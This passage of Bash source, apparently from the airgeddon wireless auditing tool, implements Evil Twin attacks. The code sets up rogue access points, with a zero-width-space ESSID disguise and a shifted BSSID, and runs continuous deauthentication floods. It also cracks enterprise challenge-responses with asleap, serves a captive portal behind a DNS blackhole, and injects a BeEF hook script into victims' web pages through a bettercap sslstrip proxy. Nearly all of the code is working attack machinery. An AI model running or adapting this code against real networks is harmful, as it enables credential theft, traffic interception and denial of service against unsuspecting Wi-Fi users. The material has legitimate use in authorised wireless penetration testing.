		if [[ ! "${option_enterprise_user_selected}" =~ ^[0-9]+$ ]] || [[ "${option_enterprise_user_selected}" -lt 1 ]] || [[ "${option_enterprise_user_selected}" -gt ${counter} ]]; then
			option_enterprise_user_selected=""
			echo
			language_strings "${language}" 543 "red"
		fi
	done

	enterprise_username="${temp_array_enterpise_users[${option_enterprise_user_selected}]}"
}

#Execute asleap attack
function exec_asleap_attack() {

	debug_print

	rm -rf "${tmpdir}${asleap_pot_tmp}" > /dev/null 2>&1

	if [ "${1}" != "offline_menu" ]; then
		[[ "${enterprise_captured_challenges_responses[${enterprise_username}]}" =~ (([0-9a-zA-Z]{2}:?)+)[[:blank:]]/[[:blank:]](.*) ]] && enterprise_asleap_challenge="${BASH_REMATCH[1]}" && enterprise_asleap_response="${BASH_REMATCH[3]}"
	fi
	asleap_cmd="asleap -C \"${enterprise_asleap_challenge}\" -R \"${enterprise_asleap_response}\" -W \"${DICTIONARY}\" -v | tee \"${tmpdir}${asleap_pot_tmp}\" ${colorize}"
	eval "${asleap_cmd}"
}

#Execute Evil Twin only Access Point attack
function exec_et_onlyap_attack() {

	debug_print

	set_hostapd_config
	launch_fake_ap
	set_network_interface_data
	set_dhcp_config
	set_std_internet_routing_rules
	launch_dhcp_server
	exec_et_deauth
	set_et_control_script
	launch_et_control_window
	write_et_processes

	echo
	language_strings "${language}" 298 "yellow"
	language_strings "${language}" 115 "read"

	kill_et_windows

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		recover_current_channel
	fi

	restore_et_interface
	clean_tmpfiles
}

#Execute Evil Twin with sniffing attack
function exec_et_sniffing_attack() {

	debug_print

	set_hostapd_config
	launch_fake_ap
	set_network_interface_data
	set_dhcp_config
	set_std_internet_routing_rules
	launch_dhcp_server
	exec_et_deauth
	launch_ettercap_sniffing
	set_et_control_script
	launch_et_control_window
	write_et_processes

	echo
	language_strings "${language}" 298 "yellow"
	language_strings "${language}" 115 "read"

	kill_et_windows

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		recover_current_channel
	fi

	restore_et_interface
	if [ "${ettercap_log}" -eq 1 ]; then
		parse_ettercap_log
	fi
	clean_tmpfiles
}

#Execute Evil Twin with sniffing+bettercap-sslstrip2 attack
function exec_et_sniffing_sslstrip2_attack() {

	debug_print

	set_hostapd_config
	launch_fake_ap
	set_network_interface_data
	set_dhcp_config
	set_std_internet_routing_rules
	launch_dhcp_server
	exec_et_deauth
	launch_bettercap_sniffing
	set_et_control_script
	launch_et_control_window
	write_et_processes

	echo
	language_strings "${language}" 298 "yellow"
	language_strings "${language}" 115 "read"

	kill_et_windows

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		recover_current_channel
	fi

	restore_et_interface
	if [ "${bettercap_log}" -eq 1 ]; then
		parse_bettercap_log
	fi
	clean_tmpfiles
}

#Execute Evil Twin with sniffing+bettercap-sslstrip2/beef attack
function exec_et_sniffing_sslstrip2_beef_attack() {

	debug_print

	set_hostapd_config
	launch_fake_ap
	set_network_interface_data
	set_dhcp_config
	set_std_internet_routing_rules
	launch_dhcp_server
	exec_et_deauth
	if [ "${beef_found}" -eq 1 ]; then
		get_beef_version
		set_beef_config
	else
		new_beef_pass="beef"
		et_misc_texts[${language},27]=${et_misc_texts[${language},27]/${beef_pass}/${new_beef_pass}}
		beef_pass="${new_beef_pass}"
	fi
	launch_beef
	launch_bettercap_sniffing
	set_et_control_script
	launch_et_control_window
	write_et_processes

	echo
	language_strings "${language}" 298 "yellow"
	language_strings "${language}" 115 "read"

	kill_et_windows

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		recover_current_channel
	fi

	restore_et_interface
	if [ "${bettercap_log}" -eq 1 ]; then
		parse_bettercap_log
	fi
	clean_tmpfiles
}

#Execute captive portal Evil Twin attack
function exec_et_captive_portal_attack() {

	debug_print

	rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1
	mkdir "${tmpdir}${webdir}" > /dev/null 2>&1

	set_hostapd_config
	launch_fake_ap
	set_network_interface_data
	set_dhcp_config
	set_std_internet_routing_rules
	launch_dhcp_server
	exec_et_deauth
	set_et_control_script
	launch_et_control_window
	launch_dns_blackhole
	set_webserver_config
	set_captive_portal_page
	launch_webserver
	write_et_processes

	echo
	language_strings "${language}" 298 "yellow"
	language_strings "${language}" 115 "read"

	kill_et_windows

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		recover_current_channel
	fi

	restore_et_interface
	clean_tmpfiles
}

#Create configuration files for bettercap
function set_bettercap_config() {

	debug_print

	rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1

	if [ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]; then

		rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1

		{
		echo -e "set http.proxy.script ${bettercap_hook_file}"
		} >> "${tmpdir}${bettercap_config_file}"

		{
		echo -e "function onLoad() {"
		echo -e "\tlog('BeefInject loaded.');"
		echo -e "\tlog('targets: ' + env['arp.spoof.targets']);"
		echo -e "}\n"
		echo -e "function onResponse(req, res) {"
		echo -e "\tif (res.ContentType.indexOf('text/html') == 0) {"
		echo -e "\t\tvar body = res.ReadBody();"
		echo -e "\t\tif (body.indexOf('</head>') != -1) {"
		echo -e "\t\t\tres.Body = body.replace('</head>', '<script type=\"text/javascript\" src=\"http://${et_ip_router}:${beef_port}/${jshookfile}\"></script></head>');"
		echo -e "\t\t}"
		echo -e "\t}"
		echo -e "}"
		} >> "${tmpdir}${bettercap_hook_file}"
	fi

	{
	echo -e "set http.proxy.port ${bettercap_proxy_port}"
	echo -e "set http.proxy.sslstrip true"
	echo -e "http.proxy on\n"
	echo -e "set net.sniff.verbose true"
	echo -e "net.recon on"
	echo -e "net.sniff on\n"
	echo -e "events.stream off"
	echo -e "set events.stream.http.request.dump true\n"
	echo -e "events.ignore net.sniff.http.response"
	echo -e "events.ignore http.proxy.spoofed-response"
	echo -e "events.ignore net.sniff.dns"
	echo -e "events.ignore net.sniff.tcp"
	echo -e "events.ignore net.sniff.udp"
	echo -e "events.ignore net.sniff.mdns"
	echo -e "events.ignore net.sniff.sni"
	echo -e "events.ignore net.sniff.https\n"
	echo -e "events.stream on"
	} >> "${tmpdir}${bettercap_config_file}"
}

#Create configuration file for hostapd-mana
function set_hostapd_mana_config() {

	debug_print

	rm -rf "${tmpdir}${hostapd_mana_file}" > /dev/null 2>&1
	rm -rf "${tmpdir}${hostapd_mana_out}" > /dev/null 2>&1

	et_bssid=$(generate_fake_bssid "${bssid}")

	{
	echo -e "interface=${interface}"
	echo -e "driver=nl80211"
	echo -e "ssid=${essid}"
	echo -e "bssid=${et_bssid}"
	echo -e "mana_wpaout=${tmpdir}${hostapd_mana_out}"
	echo -e "wpa=2"
	echo -e "wpa_key_mgmt=WPA-PSK"
	echo -e "wpa_pairwise=TKIP CCMP"
	echo -e "wpa_passphrase=\"${mana_pass}\""
	echo -e "channel=${channel}"
	} >> "${tmpdir}${hostapd_mana_file}"

	if [ "${channel}" -gt 14 ]; then
		{
		echo -e "hw_mode=a"
		} >> "${tmpdir}${hostapd_mana_file}"
	else
		{
		echo -e "hw_mode=g"
		} >> "${tmpdir}${hostapd_mana_file}"
	fi

	if [ "${country_code}" != "00" ]; then
		{
		echo -e "country_code=${country_code}"
		} >> "${tmpdir}${hostapd_mana_file}"
	fi

	if [ "${standard_80211n}" -eq 1 ]; then
		{
		echo -e "ieee80211n=1"
		} >> "${tmpdir}${hostapd_mana_file}"
	fi

	if [ "${standard_80211ac}" -eq 1 ]; then
		{
		echo -e "ieee80211ac=1"
		} >> "${tmpdir}${hostapd_mana_file}"
	fi

	#ieee80211ax and ieee80211be not supported
}

#Create configuration file for hostapd
function set_hostapd_config() {

	debug_print

	get_hostapd_version

	rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1

	et_bssid=$(generate_fake_bssid "${bssid}")
	et_essid=$(generate_fake_essid "${essid}")

	{
	echo -e "interface=${interface}"
	echo -e "driver=nl80211"
	echo -e "ssid=${et_essid}"
	echo -e "bssid=${et_bssid}"
	echo -e "channel=${channel}"
	echo -e "wpa=0"
	echo -e "ignore_broadcast_ssid=0"
	} >> "${tmpdir}${hostapd_file}"

	if [ "${channel}" -gt 14 ]; then
		{
		echo -e "hw_mode=a"
		} >> "${tmpdir}${hostapd_file}"
	else
		{
		echo -e "hw_mode=g"
		} >> "${tmpdir}${hostapd_file}"
	fi

	if [ "${country_code}" != "00" ]; then
		{
		echo -e "country_code=${country_code}"
		} >> "${tmpdir}${hostapd_file}"
	fi

	if [ "${standard_80211n}" -eq 1 ]; then
		{
		echo -e "ieee80211n=1"
		} >> "${tmpdir}${hostapd_file}"
	fi

	if [ "${standard_80211ac}" -eq 1 ]; then
		{
		echo -e "ieee80211ac=1"
		} >> "${tmpdir}${hostapd_file}"
	fi

	if [ "${standard_80211ax}" -eq 1 ]; then
		{
		echo -e "ieee80211ax=1"
		} >> "${tmpdir}${hostapd_file}"
	fi

	if compare_floats_greater_or_equal "${hostapd_version}" "${hostapd_wifi7_version}"; then
		if [ "${standard_80211be}" -eq 1 ]; then
			{
			echo -e "ieee80211be=1"
			} >> "${tmpdir}${hostapd_file}"
		fi
	fi
}

#Create configuration file for hostapd
function set_hostapd_wpe_config() {

	debug_print

	get_hostapd_wpe_version

	rm -rf "${tmpdir}${hostapd_wpe_file}" > /dev/null 2>&1

	et_bssid=$(generate_fake_bssid "${bssid}")

	{
	echo -e "interface=${interface}"
	echo -e "driver=nl80211"
	echo -e "ssid=${essid}"
	echo -e "bssid=${et_bssid}"
	echo -e "channel=${channel}"
	echo -e "eap_server=1"
	echo -e "eap_fast_a_id=101112131415161718191a1b1c1d1e1f"
	echo -e "eap_fast_a_id_info=hostapd-wpe"
	echo -e "eap_fast_prov=3"
	echo -e "ieee8021x=1"
	echo -e "pac_key_lifetime=604800"
	echo -e "pac_key_refresh_time=86400"
	echo -e "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f"
	echo -e "wpa=2"
	echo -e "wpa_key_mgmt=WPA-EAP"
	echo -e "wpa_pairwise=TKIP CCMP"
	echo -e "rsn_pairwise=TKIP CCMP"
	echo -e "eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user"
	echo -e "ieee80211w=0"
	echo -e "auth_algs=3"
	} >> "${tmpdir}${hostapd_wpe_file}"

	{
	echo -e "ca_cert=${hostapd_wpe_cert_path}ca.pem"
	echo -e "server_cert=${hostapd_wpe_cert_path}server.pem"
	echo -e "private_key=${hostapd_wpe_cert_path}server.key"
	echo -e "private_key_passwd=${hostapd_wpe_cert_pass}"
	} >> "${tmpdir}${hostapd_wpe_file}"

	if [ "${channel}" -gt 14 ]; then
		{
		echo -e "hw_mode=a"
		} >> "${tmpdir}${hostapd_wpe_file}"
	else
		{
		echo -e "hw_mode=g"
		} >> "${tmpdir}${hostapd_wpe_file}"
	fi

	if [ "${country_code}" != "00" ]; then
		{
		echo -e "country_code=${country_code}"
		} >> "${tmpdir}${hostapd_wpe_file}"
	fi

	if [ "${standard_80211n}" -eq 1 ]; then
		{
		echo -e "ieee80211n=1"
		} >> "${tmpdir}${hostapd_wpe_file}"
	fi

	if [ "${standard_80211ac}" -eq 1 ]; then
		{
		echo -e "ieee80211ac=1"
		} >> "${tmpdir}${hostapd_wpe_file}"
	fi

	if [ "${standard_80211ax}" -eq 1 ]; then
		{
		echo -e "ieee80211ax=1"
		} >> "${tmpdir}${hostapd_wpe_file}"
	fi

	if compare_floats_greater_or_equal "${hostapd_wpe_version}" "${hostapd_wpe_wifi7_version}"; then
		if [ "${standard_80211be}" -eq 1 ]; then
			{
			echo -e "ieee80211be=1"
			} >> "${tmpdir}${hostapd_wpe_file}"
		fi
	fi
}

#Switch a digit from an original given bssid
function generate_fake_bssid() {

	debug_print

	local digit_to_change
	local orig_digit
	digit_to_change="${1:10:1}"
	orig_digit=$((16#${digit_to_change}))

	while true; do
		((different_mac_digit=(orig_digit + 1 + RANDOM % 15) % 16))
		[[ "${different_mac_digit}" -ne "${orig_digit}" ]] && break
	done

	printf %s%X%s\\n "${1::10}" "${different_mac_digit}" "${1:11}"
}

#Add an invisible char (Zero Width Space - ZWSP) to the original given essid
function generate_fake_essid() {

	debug_print

	local zwsp_char
	zwsp_char=$'\xE2\x80\x8B'

	if "${AIRGEDDON_EVIL_TWIN_ESSID_STRIPPING:-true}"; then
		printf '%s%s\n' "${1}" "${zwsp_char}"
	else
		printf '%s\n' "${1}"
	fi
}

#Launch hostapd-mana fake Access Point
function launch_fake_mana_ap() {

	debug_print

	run_airmon_check_kill

	if [ "${mac_spoofing_desired}" -eq 1 ]; then
		set_spoofed_mac "${interface}"
	fi

	rm -rf "${tmpdir}${hostapd_mana_log}" > /dev/null 2>&1
	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g1_topright_window} -T \"AP\"" "timeout -s SIGTERM ${timeout_wpa3_downgrade} hostapd-mana \"${tmpdir}${hostapd_mana_file}\" | tee ${tmpdir}${hostapd_mana_log}" "AP" "active"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		hostapd_mana_pid=$!
	else
		get_tmux_process_id "timeout -s SIGTERM ${timeout_wpa3_downgrade} hostapd-mana \"${tmpdir}${hostapd_mana_file}\""
		hostapd_mana_pid="${global_process_pid}"
		global_process_pid=""
	fi

	sleep 3
}

#Launch hostapd and hostapd-wpe fake Access Point
function launch_fake_ap() {

	debug_print

	run_airmon_check_kill

	if [ "${mac_spoofing_desired}" -eq 1 ]; then
		set_spoofed_mac "${interface}"
	fi

	recalculate_windows_sizes
	local command
	local log_command

	if [ -n "${enterprise_mode}" ]; then
		rm -rf "${tmpdir}${hostapd_wpe_log}" > /dev/null 2>&1
		rm -rf "${scriptfolder}${hostapd_wpe_default_log}" > /dev/null 2>&1
		command="hostapd-wpe \"${tmpdir}${hostapd_wpe_file}\""
		log_command=" | tee ${tmpdir}${hostapd_wpe_log}"
		hostapd_scr_window_position=${g1_topleft_window}
	else
		command="hostapd \"${tmpdir}${hostapd_file}\""
		log_command=""
		case ${et_mode} in
			"et_onlyap")
				hostapd_scr_window_position=${g1_topleft_window}
			;;
			"et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef")
				hostapd_scr_window_position=${g3_topleft_window}
			;;
			"et_sniffing_sslstrip2")
				hostapd_scr_window_position=${g4_topleft_window}
			;;
		esac
	fi

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
	fi

	manage_output "-hold -bg \"#000000\" -fg \"#00FF00\" -geometry ${hostapd_scr_window_position} -T \"AP\"" "${command}${log_command}" "AP"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_processes+=($!)
		if [ "${dos_pursuit_mode}" -eq 1 ]; then
			dos_pursuit_mode_ap_pid=$!
			dos_pursuit_mode_pids+=("${dos_pursuit_mode_ap_pid}")
		fi
	else
		get_tmux_process_id "${command}"
		et_processes+=("${global_process_pid}")
		if [ "${dos_pursuit_mode}" -eq 1 ]; then
			dos_pursuit_mode_pids+=("${global_process_pid}")
		fi
		global_process_pid=""
	fi

	sleep 3
}

#Set network data parameters
function set_network_interface_data() {

	debug_print

	std_c_mask="255.255.255.0"
	ip_mask="255.255.255.255"
	std_c_mask_cidr="24"
	ip_mask_cidr="32"
	any_mask_cidr="0"
	any_ip="0.0.0.0"
	any_ipv6="::/0"

	first_octet="192"
	second_octet="169"
	third_octet="1"
	fourth_octet="0"

	ip_range="${first_octet}.${second_octet}.${third_octet}.${fourth_octet}"

	if ip route | grep ${ip_range} > /dev/null; then
		while true; do
			third_octet=$((third_octet + 1))
			ip_range="${first_octet}.${second_octet}.${third_octet}.${fourth_octet}"
			if ! ip route | grep ${ip_range} > /dev/null; then
				break
			fi
		done
	fi

	et_ip_range="${ip_range}"
	et_ip_router="${first_octet}.${second_octet}.${third_octet}.1"
	et_broadcast_ip="${first_octet}.${second_octet}.${third_octet}.255"
	et_range_start="${first_octet}.${second_octet}.${third_octet}.33"
	et_range_stop="${first_octet}.${second_octet}.${third_octet}.100"
}

#Create configuration file for dhcpd
function set_dhcp_config() {

	debug_print

	rm -rf "${tmpdir}${dhcpd_file}" > /dev/null 2>&1
	rm -rf "${tmpdir}clts.txt" > /dev/null 2>&1
	ip link set "${interface}" up > /dev/null 2>&1

	{
	echo -e "authoritative;"
	echo -e "default-lease-time 600;"
	echo -e "max-lease-time 7200;"
	echo -e "subnet ${et_ip_range} netmask ${std_c_mask} {"
	echo -e "\toption broadcast-address ${et_broadcast_ip};"
	echo -e "\toption routers ${et_ip_router};"
	echo -e "\toption subnet-mask ${std_c_mask};"
	} >> "${tmpdir}${dhcpd_file}"

	if [ "${et_mode}" != "et_captive_portal" ]; then
		echo -e "\toption domain-name-servers ${internet_dns1}, ${internet_dns2};" >> "${tmpdir}${dhcpd_file}"
	else
		echo -e "\toption domain-name-servers ${et_ip_router};" >> "${tmpdir}${dhcpd_file}"
	fi

	{
	echo -e "\trange ${et_range_start} ${et_range_stop};"
	echo -e "}"
	} >> "${tmpdir}${dhcpd_file}"

	leases_found=0
	for item in "${!possible_dhcp_leases_files[@]}"; do
		if [ -f "${possible_dhcp_leases_files[${item}]}" ]; then
			leases_found=1
			key_leases_found=${item}
			break
		fi
	done

	if [ "${leases_found}" -eq 1 ]; then
		echo -e "lease-file-name \"${possible_dhcp_leases_files[${key_leases_found}]}\";" >> "${tmpdir}${dhcpd_file}"
		chmod a+w "${possible_dhcp_leases_files[${key_leases_found}]}" > /dev/null 2>&1
	else
		touch "${possible_dhcp_leases_files[0]}" > /dev/null 2>&1
		echo -e "lease-file-name \"${possible_dhcp_leases_files[0]}\";" >> "${tmpdir}${dhcpd_file}"
		chmod a+w "${possible_dhcp_leases_files[0]}" > /dev/null 2>&1
	fi

	dhcp_path="${tmpdir}${dhcpd_file}"
	if hash apparmor_status 2> /dev/null; then
		if apparmor_status 2> /dev/null | grep dhcpd > /dev/null; then
			if [ -d /etc/dhcpd ]; then
				cp "${tmpdir}${dhcpd_file}" /etc/dhcpd/ 2> /dev/null
				dhcp_path="/etc/dhcpd/${dhcpd_file}"
			elif [ -d /etc/dhcp ]; then
				cp "${tmpdir}${dhcpd_file}" /etc/dhcp/ 2> /dev/null
				dhcp_path="/etc/dhcp/${dhcpd_file}"
			else
				cp "${tmpdir}${dhcpd_file}" /etc/ 2> /dev/null
				dhcp_path="/etc/${dhcpd_file}"
			fi
			dhcpd_path_changed=1
		fi
	fi
}

#Change MAC address of desired interface
function set_spoofed_mac() {

	debug_print

	current_original_mac=$(cat < "/sys/class/net/${1}/address" 2> /dev/null)

	if [ "${spoofed_mac}" -eq 0 ]; then
		spoofed_mac=1
		declare -gA original_macs
		original_macs["${1}"]="${current_original_mac}"
	else
		if [ -z "${original_macs[${1}]}" ]; then
			original_macs["${1}"]="${current_original_mac}"
		fi
	fi

	new_random_mac=$(od -An -N6 -tx1 /dev/urandom | sed -e 's/^  *//' -e 's/  */:/g' -e 's/:$//' -e 's/^\(.\)[13579bdf]/\10/')

	ip link set "${1}" down > /dev/null 2>&1
	ip link set dev "${1}" address "${new_random_mac}" > /dev/null 2>&1
	ip link set "${1}" up > /dev/null 2>&1
}

#Restore spoofed MAC addresses to original values
function restore_spoofed_macs() {

	debug_print

	for item in "${!original_macs[@]}"; do
		ip link set "${item}" down > /dev/null 2>&1
		ip link set dev "${item}" address "${original_macs[${item}]}" > /dev/null 2>&1
		ip link set "${item}" up > /dev/null 2>&1
	done
}

#Set routing state and firewall rules for Evil Twin attacks
function set_std_internet_routing_rules() {

	debug_print

	control_routing_status "start"
	if [ ! -f "${system_tmpdir}${routing_tmp_file}" ]; then
		save_iptables_nftables
	fi

	ip addr add "${et_ip_router}/${std_c_mask}" dev "${interface}" > /dev/null 2>&1
	ip route add "${et_ip_range}/${std_c_mask_cidr}" dev "${interface}" table local proto static scope link > /dev/null 2>&1
	routing_modified=1

	clean_initialize_iptables_nftables "start"

	echo "1" > /proc/sys/net/ipv4/ip_forward 2> /dev/null

	if [ "${et_mode}" = "et_captive_portal" ]; then
		if [ "${iptables_nftables}" -eq 1 ]; then
			"${iptables_cmd}" add rule ip nat_"${airgeddon_instance_name}" prerouting_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${www_port}" counter dnat to "${et_ip_router}:${www_port}"
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${www_port}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${https_port}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" udp dport "${dns_port}" counter accept
		else
			"${iptables_cmd}" -t nat -A PREROUTING -p tcp -i "${interface}" --dport "${www_port}" -j DNAT --to-destination "${et_ip_router}:${www_port}"
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${www_port}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${https_port}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p udp -i "${interface}" --destination-port "${dns_port}" -j ACCEPT
		fi
	elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then
		if [ "${iptables_nftables}" -eq 1 ]; then
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${bettercap_proxy_port}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" udp dport "${bettercap_dns_port}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${loopback_interface}" counter accept
		else
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${bettercap_proxy_port}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p udp -i "${interface}" --destination-port "${bettercap_dns_port}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -i "${loopback_interface}" -j ACCEPT
		fi
	elif [ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]; then
		if [ "${iptables_nftables}" -eq 1 ]; then
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${bettercap_proxy_port}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" udp dport "${bettercap_dns_port}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${loopback_interface}" counter accept
			"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" tcp dport "${beef_port}" counter accept
		else
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${bettercap_proxy_port}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p udp -i "${interface}" --destination-port "${bettercap_dns_port}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -i "${loopback_interface}" -j ACCEPT
			"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -p tcp -i "${interface}" --destination-port "${beef_port}" -j ACCEPT
		fi
	fi

	if [ "${et_mode}" != "et_captive_portal" ]; then
		if [ "${iptables_nftables}" -eq 1 ]; then
			"${iptables_cmd}" add rule nat_"${airgeddon_instance_name}" postrouting_"${airgeddon_instance_name}" ip saddr "${et_ip_range}/${std_c_mask_cidr}" oifname "${internet_interface}" counter masquerade
		else
			"${iptables_cmd}" -t nat -A POSTROUTING -s "${et_ip_range}/${std_c_mask}" -o "${internet_interface}" -j MASQUERADE
		fi
	fi

	if [ "${iptables_nftables}" -eq 1 ]; then
		"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" iifname "${interface}" ip daddr "${et_ip_router}/${ip_mask_cidr}" icmp type echo-request ct state new,related,established counter accept
		"${iptables_cmd}" add rule ip filter_"${airgeddon_instance_name}" input_"${airgeddon_instance_name}" ip daddr "${et_ip_router}/${ip_mask_cidr}" counter drop
	else
		"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -i "${interface}" -p icmp --icmp-type 8 -d "${et_ip_router}/${ip_mask}" -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
		"${iptables_cmd}" -A input_"${airgeddon_instance_name}" -d "${et_ip_router}/${ip_mask}" -j DROP
	fi
	sleep 2
}

#Launch dhcpd server
function launch_dhcp_server() {

	debug_print

	recalculate_windows_sizes
	case ${et_mode} in
		"et_onlyap")
			dchcpd_scr_window_position=${g1_bottomleft_window}
		;;
		"et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef")
			dchcpd_scr_window_position=${g3_middleleft_window}
		;;
		"et_sniffing_sslstrip2")
			dchcpd_scr_window_position=${g4_middleleft_window}
		;;
	esac

	rm -rf "/var/run/${dhcpd_pid_file}" 2> /dev/null
	manage_output "+j -bg \"#000000\" -fg \"#FFC0CB\" -geometry ${dchcpd_scr_window_position} -T \"DHCP\"" "dhcpd -d -cf \"${dhcp_path}\" ${interface} 2>&1 | tee -a ${tmpdir}clts.txt 2>&1" "DHCP"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_processes+=($!)
	else
		get_tmux_process_id "dhcpd -d -cf \"${dhcp_path}\" ${interface}"
		et_processes+=("${global_process_pid}")
		global_process_pid=""
	fi

	sleep 2
}

#Execute DoS for Evil Twin and Enterprise attacks
function exec_et_deauth() {

	debug_print

	prepare_et_monitor

	case ${et_dos_attack} in
		"${mdk_command}")
			rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
			echo "${bssid}" > "${tmpdir}bl.txt"
			deauth_et_cmd="${mdk_command} ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}"
		;;
		"Aireplay")
			deauth_et_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}"
		;;
		"Auth DoS")
			deauth_et_cmd="${mdk_command} ${iface_monitor_et_deauth} a -a ${bssid} -m"
		;;
	esac

	recalculate_windows_sizes
	if [ -n "${enterprise_mode}" ]; then
		deauth_scr_window_position=${g1_bottomleft_window}
	else
		case ${et_mode} in
			"et_onlyap")
				deauth_scr_window_position=${g1_bottomright_window}
			;;
			"et_sniffing"|"et_captive_portal"|"et_sniffing_sslstrip2_beef")
				deauth_scr_window_position=${g3_bottomleft_window}
			;;
			"et_sniffing_sslstrip2")
				deauth_scr_window_position=${g4_bottomleft_window}
			;;
		esac
	fi

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		if [ "${#dos_pursuit_mode_pids[@]}" -eq 0 ]; then
			dos_pursuit_mode_pids=()
		fi
		launch_dos_pursuit_mode_attack "${et_dos_attack}" "first_time"
		pid_control_pursuit_mode "${et_dos_attack}" &
	else
		manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${deauth_scr_window_position} -T \"Deauth\"" "${deauth_et_cmd}" "Deauth"
		if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
			et_processes+=($!)
		else
			get_tmux_process_id "${deauth_et_cmd}"
			et_processes+=("${global_process_pid}")
			global_process_pid=""
		fi

		sleep 1
	fi
}

#Execute DoS for WPA3 downgrade attack
function exec_wpa3_downgrade_deauth() {

	debug_print

	prepare_wpa3_downgrade_monitor

	case ${downgrade_dos_attack} in
		"${mdk_command}")
			rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1
			echo "${bssid}" > "${tmpdir}bl.txt"
			deauth_downgrade_cmd="${mdk_command} ${iface_monitor_downgrade_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}"
		;;
		"Aireplay")
			deauth_downgrade_cmd="aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_downgrade_deauth}"
		;;
		"Auth DoS")
			deauth_downgrade_cmd="${mdk_command} ${iface_monitor_downgrade_deauth} a -a ${bssid} -m"
		;;
	esac

	recalculate_windows_sizes
	manage_output "+j -bg \"#000000\" -fg \"#FF0000\" -geometry ${g1_bottomleft_window} -T \"Deauth\"" "${deauth_downgrade_cmd}" "Deauth"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		downgrade_dos_pid=$!
	else
		get_tmux_process_id "${deauth_downgrade_cmd}"
		downgrade_dos_pid="${global_process_pid}"
		global_process_pid=""
	fi

	sleep 1
}

#Create here-doc bash script used for wps pin attacks
function set_wps_attack_script() {

	debug_print

	rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1
	rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1

	bully_reaver_band_modifier=""
	if [[ "${wps_channel}" -gt 14 ]] && [[ "${interfaces_band_info['main_wifi_interface','5Ghz_allowed']}" -eq 1 ]]; then
		bully_reaver_band_modifier="-5"
	fi

	exec 7>"${tmpdir}${wps_attack_script_file}"

	wps_attack_tool="${1}"
	wps_attack_mode="${2}"
	local unbuffer
	if [ "${wps_attack_tool}" = "reaver" ]; then
		unbuffer=""
		case ${wps_attack_mode} in
			"pindb"|"custompin")
